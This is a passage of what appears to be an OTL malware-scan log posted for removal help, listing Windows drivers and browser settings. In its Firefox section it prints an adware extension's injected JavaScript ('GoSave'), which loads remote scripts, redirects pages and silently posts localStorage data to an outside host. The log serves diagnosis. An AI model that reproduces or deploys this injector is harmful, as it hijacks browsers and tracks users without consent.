DRV:[b]64bit:[/b] - [2013-09-04 17:12:38 | 000,170,712 | ---- | M] (Broadcom Corporation.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\bcbtums.sys -- (bcbtums)
DRV:[b]64bit:[/b] - [2013-08-22 14:25:40 | 000,043,008 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\condrv.sys -- (condrv)
DRV:[b]64bit:[/b] - [2013-08-22 14:25:40 | 000,030,048 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\WINDOWS\SysNative\drivers\fs_rec.sys -- (Fs_Rec)
DRV:[b]64bit:[/b] - [2013-08-22 13:50:19 | 000,057,696 | ---- | M] (Microsoft Corporation) [Kernel | System | Stopped] -- C:\Windows\SysNative\drivers\dam.sys -- (dam)
DRV:[b]64bit:[/b] - [2013-08-22 13:49:54 | 000,079,712 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\acpiex.sys -- (acpiex)
DRV:[b]64bit:[/b] - [2013-08-22 13:49:33 | 000,159,584 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\tpm.sys -- (TPM)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:49 | 000,063,840 | ---- | M] (Marvell Semiconductor, Inc.) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\mvumis.sys -- (mvumis)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:48 | 000,041,824 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\msgpiowin32.sys -- (msgpiowin32)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:45 | 003,357,024 | ---- | M] (Broadcom Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:45 | 000,093,536 | ---- | M] (LSI Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:45 | 000,082,784 | ---- | M] (LSI Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\lsi_sss.sys -- (LSI_SSS)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:45 | 000,064,352 | ---- | M] (Hewlett-Packard Company) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:44 | 000,081,760 | ---- | M] (LSI Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas3.sys -- (LSI_SAS3)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:41 | 000,782,176 | ---- | M] (PMC-Sierra) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\adp80xx.sys -- (ADP80XX)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:41 | 000,531,296 | ---- | M] (Broadcom Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:41 | 000,259,424 | ---- | M] (AMD Technologies Inc.) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:41 | 000,108,896 | ---- | M] (LSI) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\3ware.sys -- (3ware)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:41 | 000,079,200 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:40 | 000,114,016 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\EhStorTcgDrv.sys -- (EhStorTcgDrv)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:40 | 000,082,784 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\EhStorClass.sys -- (EhStorClass)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:40 | 000,025,952 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:34 | 000,305,504 | ---- | M] (VIA Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\VSTXRAID.SYS -- (VSTXRAID)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:33 | 000,074,080 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\uaspstor.sys -- (UASPStor)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:32 | 000,031,072 | ---- | M] (Promise Technology, Inc.) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:31 | 000,107,872 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\storahci.sys -- (storahci)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:31 | 000,072,032 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SpbCx.sys -- (SpbCx)
DRV:[b]64bit:[/b] - [2013-08-22 13:43:31 | 000,069,472 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SerCx.sys -- (SerCx)
DRV:[b]64bit:[/b] - [2013-08-22 13:39:15 | 000,026,976 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\uefi.sys -- (UEFI)
DRV:[b]64bit:[/b] - [2013-08-22 13:37:27 | 000,069,472 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\vpci.sys -- (vpci)
DRV:[b]64bit:[/b] - [2013-08-22 13:36:12 | 000,026,976 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\WpdUpFltr.sys -- (WpdUpFltr)
DRV:[b]64bit:[/b] - [2013-08-22 12:39:54 | 000,076,800 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\ahcache.sys -- (ahcache)
DRV:[b]64bit:[/b] - [2013-08-22 12:39:31 | 000,050,688 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\BasicDisplay.sys -- (BasicDisplay)
DRV:[b]64bit:[/b] - [2013-08-22 12:39:20 | 000,022,016 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HyperVideo.sys -- (HyperVideo)
DRV:[b]64bit:[/b] - [2013-08-22 12:39:06 | 000,009,728 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\mshidumdf.sys -- (mshidumdf)
DRV:[b]64bit:[/b] - [2013-08-22 12:38:58 | 000,010,752 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\acpitime.sys -- (acpitime)
DRV:[b]64bit:[/b] - [2013-08-22 12:38:48 | 000,010,240 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\acpipagr.sys -- (acpipagr)
DRV:[b]64bit:[/b] - [2013-08-22 12:38:39 | 000,036,992 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\BthAvrcpTg.sys -- (BthAvrcpTg)
DRV:[b]64bit:[/b] - [2013-08-22 12:38:26 | 000,019,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\kdnic.sys -- (kdnic)
DRV:[b]64bit:[/b] - [2013-08-22 12:38:23 | 000,011,264 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\vmgencounter.sys -- (gencounter)
DRV:[b]64bit:[/b] - [2013-08-22 12:38:22 | 000,023,040 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\npsvctrig.sys -- (npsvctrig)
DRV:[b]64bit:[/b] - [2013-08-22 12:38:16 | 000,030,720 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\BthhfHid.sys -- (bthhfhid)
DRV:[b]64bit:[/b] - [2013-08-22 12:37:49 | 000,013,824 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hyperkbd.sys -- (hyperkbd)
DRV:[b]64bit:[/b] - [2013-08-22 12:37:46 | 000,029,696 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbGD.sys -- (TsUsbGD)
DRV:[b]64bit:[/b] - [2013-08-22 12:37:42 | 000,057,856 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bthhfenum.sys -- (BthHFEnum)
DRV:[b]64bit:[/b] - [2013-08-22 12:37:28 | 000,056,320 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV:[b]64bit:[/b] - [2013-08-22 12:37:28 | 000,041,472 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hidi2c.sys -- (hidi2c)
DRV:[b]64bit:[/b] - [2013-08-22 12:37:14 | 000,029,696 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\dmvsc.sys -- (dmvsc)
DRV:[b]64bit:[/b] - [2013-08-22 12:36:43 | 000,087,040 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\netvsc63.sys -- (netvsc)
DRV:[b]64bit:[/b] - [2013-08-22 12:36:25 | 000,016,384 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\NdisVirtualBus.sys -- (NdisVirtualBus)
DRV:[b]64bit:[/b] - [2013-08-22 12:36:07 | 000,066,560 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\mslldp.sys -- (MsLldp)
DRV:[b]64bit:[/b] - [2013-08-22 12:35:42 | 000,103,424 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\Ndu.sys -- (Ndu)
DRV:[b]64bit:[/b] - [2013-08-22 09:46:33 | 000,027,136 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\fxppm.sys -- (FxPPM)
DRV:[b]64bit:[/b] - [2013-08-13 00:25:46 | 000,017,624 | ---- | M] (Windows (R) Win 7 DDK provider) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bcmfn2.sys -- (bcmfn2)
DRV:[b]64bit:[/b] - [2013-08-10 01:39:30 | 000,651,248 | ---- | M] (Intel Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\iaStorAV.sys -- (iaStorAV)
DRV:[b]64bit:[/b] - [2013-07-30 19:47:35 | 000,024,568 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\iaLPSSi_GPIO.sys -- (iaLPSSi_GPIO)
DRV:[b]64bit:[/b] - [2013-07-25 20:05:39 | 000,099,320 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\iaLPSSi_I2C.sys -- (iaLPSSi_I2C)
DRV:[b]64bit:[/b] - [2013-07-01 17:50:06 | 008,536,752 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\BCMWL63a.SYS -- (BCM43XX)
DRV:[b]64bit:[/b] - [2013-06-18 15:44:59 | 000,129,224 | ---- | M] (Qualcomm Atheros Co., Ltd.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\L1C63x64.sys -- (L1C)
DRV:[b]64bit:[/b] - [2012-11-15 17:26:50 | 000,186,136 | ---- | M] (Broadcom Corporation.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\btwaudio.sys -- (btwaudio)
DRV:[b]64bit:[/b] - [2012-11-15 17:26:46 | 000,226,680 | ---- | M] (Broadcom Corporation.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\btwavdt.sys -- (btwavdt)
DRV:[b]64bit:[/b] - [2012-11-15 17:26:44 | 000,020,856 | ---- | M] (Broadcom Corporation.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\btwrchid.sys -- (btwrchid)
DRV:[b]64bit:[/b] - [2012-09-01 18:01:56 | 000,647,736 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorA.sys -- (iaStorA)
DRV:[b]64bit:[/b] - [2012-08-27 03:52:42 | 000,448,312 | ---- | M] (Synaptics Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\SynTP.sys -- (SynTP)
DRV:[b]64bit:[/b] - [2012-08-27 03:52:40 | 000,043,832 | ---- | M] (Synaptics Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\Smb_driver_Intel.sys -- (SmbDrvI)
DRV:[b]64bit:[/b] - [2012-07-27 03:18:26 | 000,040,248 | ---- | M] (Broadcom Corporation.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\btwl2cap.sys -- (btwl2cap)
DRV:[b]64bit:[/b] - [2012-07-02 15:16:02 | 000,062,784 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\HECIx64.sys -- (MEIx64)
DRV:[b]64bit:[/b] - [2012-06-27 03:08:32 | 001,608,864 | ---- | M] (Conexant Systems Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\CHDRT64.sys -- (CnxtHdAudService)
DRV:[b]64bit:[/b] - [2012-06-19 15:40:51 | 000,342,528 | ---- | M] (Intel(R) Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\IntcDAud.sys -- (IntcDAud)
DRV:[b]64bit:[/b] - [2012-06-15 13:31:06 | 008,222,736 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\rtsuvc.sys -- (rtsuvc)
DRV:[b]64bit:[/b] - [2012-06-15 06:50:46 | 000,315,536 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\RtsUVStor.sys -- (RSUSBVSTOR)
DRV:[b]64bit:[/b] - [2012-06-13 17:10:32 | 000,102,376 | ---- | M] ("CyberLink) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\wsvd.sys -- (wsvd)
 
[color=#E56717]========== Standard Registry (SafeList) ==========[/color]
 
 
[color=#E56717]========== Internet Explorer ==========[/color]
 
IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = www.wp.pl/?src01=dp220141107
IE:[b]64bit:[/b] - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE:[b]64bit:[/b] - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE:[b]64bit:[/b] - HKLM\..\SearchScopes\{C05F72F5-2629-4041-9B79-ED20A2B66555}: "URL" = http://www.bing.com/search?q={searchTerms}&form=IE10TR&src=IE10TR&pc=LCJB
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = www.wp.pl/?src01=dp220141107
IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE - HKLM\..\SearchScopes\{C05F72F5-2629-4041-9B79-ED20A2B66555}: "URL" = http://www.bing.com/search?q={searchTerms}&form=IE10TR&src=IE10TR&pc=LCJB
 
 
IE - HKU\.DEFAULT\..\SearchScopes,DefaultScope = 
IE - HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
IE - HKU\S-1-5-18\..\SearchScopes,DefaultScope = 
IE - HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
IE - HKU\S-1-5-19\..\SearchScopes,DefaultScope = 
 
IE - HKU\S-1-5-20\..\SearchScopes,DefaultScope = 
 
IE - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = http://lenovo13.msn.com/?pc=LCJB
IE - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Secondary_Page_URL = http://www.lenovo.com [binary data]
IE - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001\SOFTWARE\Microsoft\Internet Explorer\Main,Secondary Start Pages = http://www.lenovo.com [binary data]
IE - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = www.wp.pl/?src01=dp220141107
IE - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001\..\SearchScopes,DefaultScope = 
IE - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC
IE - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001\..\SearchScopes\{C05F72F5-2629-4041-9B79-ED20A2B66555}: "URL" = http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IESR02
IE - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
[color=#E56717]========== FireFox ==========[/color]
 
FF - prefs.js..browser.startup.homepage: "www.wp.pl/?src01=dp220141107"
FF - prefs.js..extensions.DRvcIox6KxUsFMo9.scode: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"warnalert11.com\")>-1||url.indexOf(\"sumorobo.net\")>-1||url.indexOf(\"mindri.com\")>-1||url.indexOf(\"__ipm=\")>-1||url.indexOf(\"=apapamam7\")>-1||url.indexOf(\"alertfunctions.com\")>-1||url.indexOf(\"immediate-support.com\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"esmoke.com/?isid=9950\")>-1||url.indexOf(\"esmoke.com/?isid=9951\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1||url.indexOf(\"hash=m5g73j\")>-1||url.indexOf(\"hash=hg7gja\")>-1||url.indexOf(\"hash=fz61s5\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=1i5w2d\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=b3qau4\")>-1||url.indexOf(\"hash=ijeqe4\")>-1||url.indexOf(\"duit&ptag=AA7AAB832A2DE41458BF&\")>-1||url.indexOf(\"duit&ptag=A93F650AC0E6A4A4791F&\")>-1||url.indexOf(\"duit&ptag=A79888693F6CA4634A6F\")>-1||url.indexOf(\"duit&ptag=A359B17B6FAA44E6B86F\")>-1||url.indexOf(\"ISID=MF245F633-E188-4162-B56A\")>-1||url.indexOf(\"SID=MEABFCF9A-556B-4C5C-8727\")>-1||url.indexOf(\"ISID=M8FBC22FE-AB08-464E-AA63\")>-1||url.indexOf(\"uid=531364863_132823_4252277E\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"search?hspart=webpick&hsimp=yhs-1&p=\")>-1||url.match(/search.yahoo.com.+hspart=.+/)||url.match(/[/]websearch.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell).info/)||url.match(/search.(easylifeapp|gboxapp|searchonme|appsarefun|genieo).com/)||url.indexOf(\"searchitapp.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"vatican.com\")>-1||url.indexOf(\"deadsea.com\")>-1||url.indexOf(\"iklk.com\")>-1||url.indexOf(\"offers.bycontext.com\")>-1||url.indexOf(\"deals.offer-dynamics.com\")>-1||url.indexOf(\"offer-dynamics.com\")>-1||url.indexOf(\"www.livegeekhelp.com/pop/\")>-1||url.indexOf(\"gvud.com\")>-1||url.indexOf(\"zuzd.com\")>-1||url.indexOf(\"babaViral.com\")>-1||url.indexOf(\"cupid.so\")>-1||url.indexOf(\"hostanytime.com\")>-1||url.indexOf(\"antivirus.so\")>-1||url.indexOf(\"dates.am\")>-1||url.indexOf(\"insurance-company.co\")>-1||url.indexOf(\"advanceloan.org\")>-1||url.indexOf(\"calcitapp.info\")>-1||url.indexOf(\"desktopfavapp.info\")>-1||url.indexOf(\"?ctid=CT3330145\")>-1||url.indexOf(\"?ctid=CT3330146\")>-1||url.indexOf(\"?ctid=CT3330147\")>-1||url.indexOf(\"?ctid=CT3330148\")>-1||url.indexOf(\"?ctid=CT3330149\")>-1||url.indexOf(\"sporty-glow.com\")>-1||url.indexOf(\"game-trek.net\")>-1||url.indexOf(\"__ipm=\")>-1||url.indexOf(\"=apapamam\")>-1||url.indexOf(\"avatrade.com\")>-1||url.indexOf(\"urgent-alerts.com\")>-1||url.indexOf(\"pc-alert.com\")>-1||url.indexOf(\"error-alerts.com\")>-1||url.indexOf(\"search.searchonme.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1||url.indexOf(\"search.appsarefun.info\")>-1||url.indexOf(\"websearch.mocaflix.com\")>-1||url.indexOf(\"search.easylifeapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"us.yhs4.search.yahoo.com\")>-1||url.indexOf(\"search.gboxapp.com\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"bestonlinegadgetguide.com\")>-1||url.indexOf(\"odpu.com\")>-1||url.indexOf(\"safesearch.co\")>-1||url.indexOf(\"findamo.com\")>-1||url.indexOf(\"search.myownsearchbox.com\")>-1||url.indexOf(\"datropy.com\")>-1){return}}catch(e){};(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"xBobt3QN=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"xBobt3QN=\")){var d=a.match(/xBobt3QN=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8njchVWzmPhd9FrjsEtNbPhd9Grdg5qSh7hftHAe0KojUMgNtLD6qVCT9GtMDPhd9EtMZPhd9HrTYFqjk8pjs6rHsFrTCHqHr8\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1500/l.js?aoi=1311798366&pid=1500&zoneid=287609&ext=GoSave&systemid=3281555927321273735&ext=GoSave\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1399/l.js?aoi=1311798366&pid=1399&zoneid=287609&ext=GoSave&systemid=3281555927321273735&ext=GoSave\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;(function(){try{var b=\"gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \");for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\"z\");if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\"download\")||-1<a.indexOf(\"convert\")||-1<window.self.location.href.indexOf(\"babylon\")||-1<window.self.location.href.indexOf(\"se Update Go\")||-1<window.self.location.href.indexOf(\"ilivid\")||-1<window.self.location.href.indexOf(\"download\")||-1<a.indexOf(\"regclean\")||-1<a.indexOf(\"etype\")||-1<a.indexOf(\"diction\")||-1<a.indexOf(\"my-uq\")||-1<a.indexOf(\"ftalk\")||-1<a.indexOf(\"pcspeedmaximizer\")||-1<a.indexOf(\"kingtransl\")||-1<a.indexOf(\"jsopen\")||-1<a.indexOf(\"7-zip\")||-1<a.indexOf(\"boost pc\")||-1<a.indexOf(\"computer slow\")||-1<a.indexOf(\"7-update14\")||-1<a.indexOf(\"player\")) || location.hostname.indexOf('jsopen.net')>-1){var channel=99;if(window.onbeforeunload){window.onbeforeunload=null;channel=98};location.href=\"http://superiends.org/e/?f=rjY5vTs8rS5HvTZXrjnFqjgHqjwFqa%3D%3D&eid=1120&hid=3281555927321273735&pid=20686&ch=\"+channel+\"&s=px.pluginh&r=\"+Math.random();break}}}catch(d){}})();;window.top==window.self&&\"undefined\"==typeof __yael_running&&(window.__yael_running=!0,new function(){if(!document.getElementById(\"__yael_once\")){var m=document.createElement(\"div\");m.id=\"__yael_once\";var n=document.getElementsByTagName(\"body\")[0];n&&n.appendChild(m);var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.5\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.eid=decodeURIComponent(\"GoSave\"); b.num_of_items_in_one=4;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var 